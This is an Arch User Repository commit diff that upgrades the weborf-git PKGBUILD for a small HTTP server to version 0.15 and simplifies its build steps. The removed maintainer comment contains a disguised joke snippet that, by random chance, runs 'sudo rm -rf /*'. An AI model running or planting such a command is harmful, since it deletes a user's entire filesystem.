diff options
author | Hcra | 2019-02-18 08:56:56 +0100 |
---|---|---|
committer | Hcra | 2019-02-18 08:56:56 +0100 |
commit | d201b451e9c3e83e875b5888d702ddd1fdaec621 (patch) | |
tree | c0d4990148ba26c258855d39d342ac936ea4aaa1 /PKGBUILD | |
parent | 8451febdbbf94d5ecc7407ea3d973fc27c276735 (diff) | |
download | aur-d201b451e9c3e83e875b5888d702ddd1fdaec621.tar.gz |
upgrade to 0.15
Diffstat (limited to 'PKGBUILD')
-rw-r--r-- | PKGBUILD | 81 |
1 files changed, 23 insertions, 58 deletions
@@ -1,69 +1,34 @@ -# Maintainer: felix <`(( $RANDOM % 6 == 0 )) && base64 -d <<< ZmVsaXgudm9uLnNAcG9zdGVvLmRlCg== || sudo rm -rf /* `> -pkgbase=weborf-git -pkgname=(weborf-git qweborf-git) -pkgver=0.13+102+g5bc736e +# Maintainer: hcra <hcra at u53r dot space> + +pkgname=weborf-git +_pkgname="weborf" +pkgver=0.15.r21.gb0dc718 pkgrel=1 +pkgdesc="Minimal HTTP server to share your files." +arch=('i686' 'x86_64' 'armv7h' 'armv6h' 'aarch64') url='https://ltworf.github.io/weborf/' -arch=(i686 x86_64) license=(GPL3) -source=(git+https://github.com/ltworf/weborf.git) -sha512sums=(SKIP) -makedepends=() - -for _pkg in "${pkgname[@]}"; do case "$_pkg" in - -qweborf*) - makedepends+=(python-pyqt5) -;; - -esac; done +makedepends=('pacman>=5.1' 'git' 'sudo' 'findutils') +conflicts=('weborf') +source=("git+https://github.com/ltworf/weborf.git#branch=master") +md5sums=("SKIP") pkgver() { - cd "$srcdir/weborf" - git describe | tr - + + cd "$srcdir/$_pkgname" + git describe --long --tags | sed 's/^v//;s/\([^-]*-g\)/r\1/;s/-/./g' } build() { - cd "$srcdir/weborf" - - for _pkg in "${pkgname[@]}"; do case "$_pkg" in - - weborf*) - autoreconf -f -i - ./configure --prefix=/usr --sysconfdir=/etc - make - ;; - - qweborf*) - pyuic5 qweborf/main.ui > qweborf/main.py - python qweborf.setup.py build - ;; - - esac; done -} - -package_weborf-git() { - pkgdesc='A lightweight web server designed for rapidly sharing files over HTTP (git snapshot)' - depends=(file) - provides=(weborf) - conflicts=(weborf) - - cd "$srcdir/weborf" - make install DESTDIR="$pkgdir" - rm -rf "$pkgdir/etc/init.d" + cd "$srcdir/$_pkgname" + autoreconf -f -i + ./configure --prefix=/usr --sysconfdir=/etc + make VERSION="$pkgver" } -package_qweborf-git() { - pkgdesc='A lightweight web server designed for rapidly sharing files over HTTP - Qt frontend (git snapshot)' - arch=(any) - depends=(python python-pyqt5 weborf-git) - provides=(qweborf) - conflicts=(qweborf) - - cd "$srcdir/weborf" - python qweborf.setup.py install --root="$pkgdir" - install -Dm 0755 qweborf/qweborf \ - "$pkgdir/usr/bin/qweborf" - install -Dm 0755 qweborf/qweborf.desktop \ - "$pkgdir/usr/share/applications/qweborf.desktop" +package() { + cd "$srcdir/$_pkgname" + make DESTDIR="$pkgdir" VERSION="$pkgver" install + cd "$pkgdir" + find lib -type f -exec install -D {} usr/{} \; + rm -r lib } |